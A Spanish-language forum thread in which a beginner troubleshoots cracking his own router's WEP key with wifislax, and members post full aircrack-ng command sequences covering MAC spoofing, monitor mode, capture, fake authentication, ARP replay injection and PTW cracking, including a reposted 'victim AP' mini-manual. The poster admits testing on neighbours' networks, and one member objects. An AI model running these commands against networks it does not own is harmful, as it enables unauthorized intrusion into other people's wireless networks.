Me estoy equivocando en algo, pero ¿en que?

[asiados]

Hola a todos, ante todo agradecer a todos los que hacen posible este foro, ya que es increible la de cosas que haceis. Me estoy iniciando en este mundillo, y como todos estoy lleno de dudas, llevo varios dias leyendo manuales, tutos.... pero algo se me escapa.

Vereis, estoy intentando averiguar mi propia clave wep. Lo intento con wifislax 3.1 sobre un portatil asus, y con una tarjeta usb Conceptronic C54RU.

Los pasos que sigo son estos:

1) obviamente inserto el livecd......... y cuando todo esta listo, enchufo el lapiz usb, y en una consola pongo iwconfig , y me da rausb0 RT73 WLAN.
Con esto ya se que detecta la tarjeta.

2) la pongo en modo monitor de la siente forma:
en la misma consola pongo:
ifconfig rausb0 down
macchanger -m 00:11:22:33:44:55 rausb0
ifconfig rausb0 up
iwconfig rausb0 mode monitor

3) con kismet o de cualquier otra forma cojo mis datos, que son
SSID: Asiados
BSSID = MAC = pepito (esta es inventada para no poner la mia original  )
Channel = 11

4) empiezo a capturar datos, de la siguiente forma:
airodump rausb0 fichero 11

Los #Datos suben muy lentamente, a razon 1 dato cada 2 segundos aprox.

5) como la cosa es lentilla, intento asociarme a la red para inyectar trafico. En este momento no hay nadie conectado, por lo que no se esta generando trafico en la red. Y pongo en otra terminal:
aireplay -1 30 rausb0 -e Manolo -a pepito -h 00:11:22:33:44:55

Y hasta aqui hemos llegao, en una consola se me ha quedado los #datos en 205 y en la otra consola se me ha quedao en Enviando peticion de autentificacion.

¿que hago mal? ¿como continuo?

[chinitiw]

necesitas un aireplay-ng -3 -x 600 ... , para hacer una inyección de trafico , pero resulta que a1 + a3 puede ser lentissimo .

Saludos

P.D. revisa la sintaxis del ataque tres y lo lanzas desde otro terminal con airdump-ng en un aireplay-ng -1 en otro y el -3 en otra saludos

[asiados]

Gracias chinitiw por tu respuesta tan rapida, pero soy bastante novato en esto y la verdad es que me pierdo. ¿que es lo que tengo que hacer? ¿los pasos que doy son correctos o tengo que modificar algo?

[JosePromesa]

He aquí un buen manual, gracias a Alexelprogramador, tendrás que cambiar la interfaz por la tuya.

minimanual aircrack-ng made in alexelprogramador  

la prime: enchufas el pc y el bosslan 500 con una antena decente omni de unos 8dbi todo ello pillado en comprawifi por ejemplo...

inicias wifiway o wifislax.

ordenes (estan ordenados por la que deberias de empezar, primero pones airmon-ng luego airodump-ng etc)

airmon-ng  --->es para iniciar el dispositivo bosslan en modo monitor
airodump-ng -->vale para capturar paquetes.
aireplay-ng -->sirve para inyectar paquetes y por tanto capturas más rapidamente.
aircrack-ng --->es para obtener la clave una vez que has capturado unos buenos cuantos paquetes "digamos unos 100.000"

ejemplos:

bssid de ap victima: 11:22:33:44:55:66 (son 6 los numeros en hexadecimal)
bssid que quiero inyectar para atacar el ap victima: 00:00:00:00:00:00  (son 6 en total)
essid del ap victima: TONTO
interfaz del dispositivo atacante: wlan0 "es un cero patatero ojo no una O de Omega"
canal en el que modula: por ejemplo vamos a escojer el canal 4

primera orden=
airmon-ng start wlan0   (mode monitor enabled)
airodump-ng wlan0  ----->(aqui mira el ap que quieres atacar, copia si bssid y creas un fichero de texto, pega su bssid ahi dentro para luego usarlo despues, tambien fijate en el canal en el que modula, por ejemplo nuestra victima modula en el canal 4)

una vez sabida la victima que quieres atacar haces esto:


airodump-ng --bssid 11:22:33:44:55:66 -c4 -w capturas wlan0  (quiere decir, captura paquetes solamente que vengan desde el bssid 11:22:33:44:55:66  que estén en el canal 4 "-c4" y guardalos en un archivo que se llama capturas "-w capturas)Nota: Hazlo en una shell y no la cierres


aireplay-ng -e TONTO -a 11:22:33:44:55:66  -h 00:00:00:00:00:00 -1 30 wlan0  (haz un ataque de falsa autentificacion a una red la cual tenga como essid TONTO "-e TONTO" y hazlo cada 30 segundos "-1 30 ") Lo demas por intuicion lo sabes. OJO No cierres esta orden, dejala en una shell aparte.
Notarás que aireplay-ng ha hecho efecto cuando leas asociation succesfull ;-)

aireplay-ng -b 11:22:33:44:55:66  -h 00:00:00:00:00:00 -3 wlan0  (con esto inyectas paquetes con el trafico generado en el ataque por falsa autentificacion) OOOJOO: hazlo en otra shell, en total debes tener 3 shell abiertas y funcionando con cada orden

al cabo de unos minutos verás que la parte de DATAS subirá rapidamente. cuando tengas unos 100.000 y puede que menos haces esto:

aircrack-ng -z capturas*.cap  (con el -z le estoy diciendo al aircrack-ng que haga el algoritmo extraido del programa aircrack-ptw, lo que quiere decir que haga lo mismo que el aircrack-ptw)


y he ahi la clave   

[asiados]

Gracias Josepromesa, pero aun siguiendo tu manual, no puedo seguir.
El problema que tengo es que no consigo asociarme a la red. He leido que si existe un cliente funcionando es mas facil de hacer, asi que he puesto el otro ordenador a descargar, para generar trafico y con un msn puesto.

Para asociarme pongo:
aireplay-ng -e Asiados -a pepito -h stacion cliente -1 30 rausb0

pero se me queda en Sending Authentification Request , y lleva ahi como 20 minutos.

¿Como consigo asociarme?

[βerni69]

en vez de eso hartia un a0+a3 sobre tu cliente conectado

[ChimoC]

Buenas:

Y en el -a debes poner la MAC de la BSSID

Un saludo

ChimoC

[asiados]

ChimoC: Esta puesto, solo que pepito es la mac "camuflada" jejeje

Berni69: Estoy un poco liado con esto de haber tantos tipos de ataque, ¿me puedes orientar sobre como se realiza?

Gracias a todos por las molestias.

[ChimoC]

Buenas:

Mirate esta chincheta

http://foro.seguridadwireless.net/index.php/topic,6704.0.html

Un saludo

ChimoC

[asiados]

Sigo probando cosas y leyendo pero sigo sin dar con la tecla.

Ahora estoy probando nuevamente con un cliente asociado, pongo otra vez

airodump rausb0 fichero 11 (11 es el canal de mi router)

y como hay un cliente asociado va la cosa mas rapida que antes, a razon de unos  20 #Datos por segundo, pero creo que este ritmo es lento, para conseguir los cientos de miles que necesito.

Segun leo por todos los sitios, ahora necesito asociarme a la red para poder inyectar mas trafico ¿es correcto?

La asociacion seria en otra ventana poniendo
aireplay-ng -e Asiados -a (la mac o BSSid de mi ap) -h (la mac falsa creada antes) -1 30 rausb0

¿es correcto? y si es correcto, porque no consigo asociarme ?

Edito: despues de 20 minutos, solo he conseguido 9652 datas, y ahora sube a razon de 1 cada 10 segundos aprox.

[ChimoC]

BUenas:

Hay 2 comandos básicos (además del airodump).... el A1 (o asociación.....) y el A3 para la inyección.

Si hay un cliente real... sólo necesitas el A3 .... en cambio si no hay cliente necesitas la combinación del A1+A3.

Un saludo

ChimoC

P.D.: Pero eso está enm la chincheta que te hemos dicho y en los manuales 

[asiados]

BUenas:

Hay 2 comandos básicos (además del airodump).... el A1 (o asociación.....) y el A3 para la inyección.

Si hay un cliente real... sólo necesitas el A3 .... en cambio si no hay cliente necesitas la combinación del A1+A3.

Un saludo

ChimoC

P.D.: Pero eso está enm la chincheta que te hemos dicho y en los manuales 

Eso lo he leido en muchos manuales e hilos de este foro ChimoC, pero por mucho que leo, y mucho que pruebo, no consigo hacer nada. Te explicare mejor lo que estoy haciendo. Tengo un ordenador que es desde el que te escribo, que esta conectado por cable al router wifi, un portatil con wifislax 3.1 que es desde hago todas las pruebas, y otro ordenador viejecillo mas en otra habitacion  Segun lo que vaya a probar, enciendo el otro ordenador para tener un cliente, o lo apago para estar el wifi solo.

Con esto, pretendo aprender como se averigua una clave wep con y sin clientes, pero el problema lo tengo en la inyeccion, que no consigo inyectar nada, y por mas manuales y enlaces que veo, no consigo hacerlo, y sin inyeccion la cosa es extremadamente lenta.

[chinitiw]

prueba a bajar el rate de la tarjeta por si las moscas antes de atacar ,con el comando:

iwconfig rausb0 rate 1M

puede ser que te facilite la tarea

Saludos

[asiados]

prueba a bajar el rate de la tarjeta por si las moscas antes de atacar ,con el comando:

iwconfig rausb0 rate 1M

puede ser que te facilite la tarea

Saludos

Gracias chinitiw, pero aunque no lo habia dicho antes, tambien lo habia probado, y no va. El primer problema que tengo es que no consigo asociar, se me queda en el famoso Sending Authentification Request

[βerni69]

exactamente que es lo que escribes en la consola?

[asiados]

exactamente que es lo que escribes en la consola?

Te escribo los pasos que estoy probando ahora mismo. Como he dicho antes, controlo todo los aspectos de la red, ya que todo lo que intento es con mi red.
Ahora mismo no hay clientes conectados, ni trafico.

ifconfig rausb0 down   ---> deshabilito el lapiz usb
macchanger -m 00:11:22:33:44:55  --> le doy una mac falsa
ifconfig rausb0 up ---> habilito el lapiz usb
iwconfig rausb0 mode monitor  ---> ya lo tengo en modo monitor.

airodump-ng rausb0  ---> veo el SSID, BSSID=MAC , Canal
airodump-ng --bssid (MI MAC) -c 11 -w test rausb0 ---> 11 es mi canal

En este momento los Beacons empiezan a subir a razon de 20 por seg aprox. y los #data suben pero extremadamente lentos, en un minuto han subido como 30 aprox.

Viendo esto, abro otra consola, y pongo:

aireplay-ng -e MI SSID -a MI MAC -h MAC FALSA -1 0 rausb0

y ahi se queda, en el maldito Sending Aut........

[βerni69]

prueva cambiando ell valor de 0 por ejemplo pon un 15 o un 10

y añade cuabdo hagas es iwconfig, rate 1M

saludos

por cierto en
macchanger -m 00:11:22:33:44:55 
falta  rausb0 al final

saludos

[asiados]

prueva cambiando ell valor de 0 por ejemplo pon un 15 o un 10

y añade cuabdo hagas es iwconfig, rate 1M

saludos

por cierto en
macchanger -m 00:11:22:33:44:55
falta  rausb0 al final

saludos

Berni69, he probado todo lo que me has dicho, pero sigo igual, no puedo asociarme. He visto varios videos online, y la asociacion tarda un par de segundos, osea, que debe ser rapido. Yo tengo el portatil a medio metro del router, osea que tampoco es porque este mu lejos.

¿que mas puedo hacer? esto empieza a ser desesperante.

[βerni69]

intenta separar el portatil del router a vwces falla x eso

[chinitiw]

vale prueba a poner otra mac no la del ejemplo (00:11:22:33:44:55)hay AP que no las aceptan (digamos que no se la creen) ,por ejemplo 00:18:39:d3:a3:c0 , a ver si esto ayuda.

edito( muy cierto tambien lo que te comenta Berni)

saludos

[asiados]

Berni69: he retirado el portatil del ap, me ido a la otra punta de la casa, y no obtengo resultados.

Chinitiw: he probado con 3 macs distintas inventadas tambien, y tampoco presenta mejoria.

Aunque no es mi intencion, he probado con otras redes que tengo cercanas, y en todas me pasa exactamente lo mismo. No consigo asociarme a ninguna de ellas.

Le pedí esta tarde a un amigo otro lapiz wifi, es un Dlink DWL-G122, pero obtengo exactamente los mismos resultados

[chinitiw]

¡¡ eso si que no !!   

con lo tuyo lo que quieras pero de lo demás ...

[asiados]

¡¡ eso si que no !!   

con lo tuyo lo que quieras pero de lo demás ...

chinitiw, te repito que no es mi intencion, pero la unica forma de saber si el problema era de mi ap, era probar con otro. No es mi intencion, y pido disculpas por ello, pero dime ¿que me falta por comprobar? ¿que puedo hacer? ¿me doy por rendido? 

[chinitiw]

eso no es discutible , ni negociable ...

[asiados]

vale ¿que hago?, yo solo veo dos opciones, o me rindo o me rindo. Si quieres te puedo hacer una foto de la mesa, y lo vas a flipar, la de papeles impresos que tengo de post de este foro, de paginas que encontre en el tito google....

[chinitiw]

 

vale ¿que hago? si lo que haces es un a1 + a3 eso te puede llevar muchisimo tiempo ... además hay ap que no aceptan a1
, yo solo veo dos opciones, o me rindo o me rindo.yo no me rindo nunca , y además todos hemos pasado por esto en muchas ocasiones , Si quieres te puedo hacer una foto de la mesa, y lo vas a flipar, la de papeles impresos que tengo de post de este foro, de paginas que encontre en el tito google....

bien es lo que debes hacer , buscar información aquí alli , todos aportamos nuestro granito de arena

[chinitiw]

Chinitiw: he probado con 3 macs distintas inventadas tambien, y tampoco presenta mejoria.

Has probado con la tuya sin cambiarla ¿?

[asiados]

supongo que te refieres a mi mac original?? si creo que tambien lo probe, de todos modos, voy a intentarlo otra vez sin cambiar la mac, ahora te cuento

EDITO: Tampoco sirve de nada, le paso al aireplay el parametro -h con mac original y tampoco rula.

[asiados]

Observo una cosa curiosa, no se si tendra algo que ver o no, pero porque hay veces que mientras lanzo aireplay-ng , automaticamente me sale en la otra consola el intento de asociacion, y otras veces no??

[ChimoC]

Buenas:

Prueba con esta a ver... es un ejemplo de la catedral

Otra variación útil para algunos puntos de acceso:

aireplay-ng -1 6000 -o 1 -q 10 -e ESSID -a BSSID -h ESTATION rausb0

Donde:

          6000 - Reautentifica cada 6000 segundos. El largo periodo también provoca que se envien paquetes de “sigo aquí” o “keep alive”.
   
      -o 1 - Enviar solo un tipo de paquetes de cada vez. Por defecto está fijado en múltiples y esto puede confundir a algunos APs.
   
      -q 10 - Envia paquetes de “sigo aquí” cada 10 segundos.


Un saludo

ChimoC

[asiados]

Buenas:

Prueba con esta a ver... es un ejemplo de la catedral

Otra variación útil para algunos puntos de acceso:

aireplay-ng -1 6000 -o 1 -q 10 -e ESSID -a BSSID -h ESTATION rausb0

Donde:

          6000 - Reautentifica cada 6000 segundos. El largo periodo también provoca que se envien paquetes de “sigo aquí” o “keep alive”.
   
      -o 1 - Enviar solo un tipo de paquetes de cada vez. Por defecto está fijado en múltiples y esto puede confundir a algunos APs.
   
      -q 10 - Envia paquetes de “sigo aquí” cada 10 segundos.


Un saludo

ChimoC

Gracias ChimoC, esa opcion la encontre buscando por ahi, y tambien la he probado, y tampoco rula.
Sigo buscando opciones. ¿se le ocurre a alguien algo mas?

[ChimoC]

Buenas:

Joer.....

Prueba con alguna otra distro... Wifiway 1.0.2 beta....

Un saludo

ChimoC

[asiados]

Por finnnn hago progresos....  :-'

Vereis lo que me pasa ahora. Se me ocurrio probar la version light de wifislax 3.1 , y cuando la meto en el portatil, al hacerle iwconfig ooohhhh me detecta el wifi integrado del portatil como wifi0, que es una intel prowireless noseque modelo, ¿eso como es? ¿no se supone que son la misma distro pero mas ligera? pero weno, como todos mis apuntes los tengo con el lapiz wifi, hago todos los pasos y sigue sin funcionar.

Se me ocurre probar con el wifi0, y cual es mi sorpresa que para empezar me detecta muuuuchas mas redes, aparte de la mia. Eso ya me mosquea, ¿sera que el puñetero lapiz usb esta mal?

Bueno, asi que lo intento con el wifi0, y consigo asociarme a mi red!!!, la inyeccion no me funciona con el primer intento, pero no he tenido tiempo de probar mas, luego lo intento y os comento.

Por cierto ChimoC, parece que pensamos los dos lo mismo, porque cuando entro ahora aqui para explicar las novedades veo que habias pensado lo mismo que yo..... jejeje, al final nos hacemos amiguitos y todo jajajaja